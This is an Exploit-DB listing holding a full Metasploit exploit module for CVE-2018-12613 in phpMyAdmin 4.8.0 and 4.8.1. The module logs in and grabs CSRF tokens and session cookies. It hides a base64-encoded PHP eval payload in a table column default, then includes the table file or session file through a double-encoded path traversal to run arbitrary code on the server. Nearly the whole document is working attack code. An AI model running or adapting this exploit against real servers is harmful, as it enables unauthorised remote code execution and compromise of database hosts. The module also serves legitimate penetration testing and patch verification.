phpMyAdmin - (Authenticated) Remote Code Execution (Metasploit)

EDB-ID:

45020




Platform:

PHP

Date:

2018-07-13


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'phpMyAdmin Authenticated Remote Code Execution',
      'Description'     => %q{
        phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
        which can be exploited post-authentication to execute PHP code by
        application. The module has been tested with phpMyAdmin v4.8.1.
      },
      'Author' =>
        [
          'ChaMd5', # Vulnerability discovery and PoC
          'Henry Huang', # Vulnerability discovery and PoC
          'Jacob Robles' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'BID', '104532' ],
          [ 'CVE', '2018-12613' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
          [ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
          [ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
        ],
      'Privileged'  => false,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Targets' =>
        [
          [ 'Automatic', {} ],
          [ 'Windows', {} ],
          [ 'Linux', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 19 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
    rescue
      vprint_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown
    end

    if res.nil? || res.code != 200
      vprint_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown
    end

    # v4.8.0 || 4.8.1 phpMyAdmin
    if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
      version = Gem::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version}")

      if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
        return Exploit::CheckCode::Appears
      end
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Unknown
  end

  def query(uri, qstring, cookies, token)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'import.php'),
      'cookie' => cookies,
      'vars_post' => Hash[{
        'sql_query' => qstring,
        'db' => '',
        'table' => '',
        'token' => token
      }.to_a.shuffle]
    })
  end

  def lfi(uri, data_path, cookies, token)
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'encode_params' => false,
      'vars_get' => {
        'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
      }
    })
  end

  def exploit
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({'uri' => uri})

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif response.body !~ /token"\s*value="(.*?)"/
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end
    token = Rex::Text.html_decode($1)

    if target.name =~ /Automatic/
      /\((?<srv>Win.*)?\)/ =~ response.headers['Server']
      mytarget = srv.nil? ? 'Linux' : 'Windows'
    else
      mytarget = target.name
    end

    vprint_status("#{peer} - Identified #{mytarget} target")

    #Pull out the last two cookies
    cookies = response.get_cookies
    cookies = cookies.split[-2..-1].join(' ')

    vprint_status("#{peer} - Retrieved token #{token}")
    vprint_status("#{peer} - Retrieved cookies #{cookies}")
    vprint_status("#{peer} - Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil? || login.code != 302
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    end

    #Ignore the first cookie
    cookies = login.get_cookies
    cookies = cookies.split[1..-1].join(' ')
    vprint_status("#{peer} - Retrieved cookies #{cookies}")

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body.include? 'Welcome to'
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    elsif login_check.body !~ /token"\s*value="(.*?)"/
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end
    token = Rex::Text.html_decode($1)

    vprint_status("#{peer} - Authentication successful")

    #Generating strings/payload
    database = rand_text_alpha_lower(5)
    table = rand_text_alpha_lower(5)
    column = rand_text_alpha_lower(5)
    col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"


    #Preparing sql queries
    dbsql = "CREATE DATABASE #{database};"
    tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
    dropsql = "DROP DATABASE #{database};"
    dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'

    #Create database
    res = query(uri, dbsql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
    end

    #Create table and column
    res = query(uri, tablesql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
    end

    #Find datadir
    res = query(uri, dirsql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
    end

    unless res.body =~ /^<td data.*?>(.*)?</
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
    end

    #Creating include path
    if mytarget == 'Windows'
      #Table file location
      data_path = $1.gsub(/\\/, '/')
      data_path = data_path.sub(/^.*?\//, '/')
      data_path << "#{database}/#{table}.frm"
    else
      #Session path location
      /phpMyAdmin=(?<session_name>.*?);/ =~ cookies
      data_path = "/var/lib/php/sessions/sess_#{session_name}"
    end

    res = lfi(uri, data_path, cookies, token)

    #Drop database
    res = query(uri, dropsql, cookies, token)
    if res.nil? || res.code != 200
      print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
    end
  end
end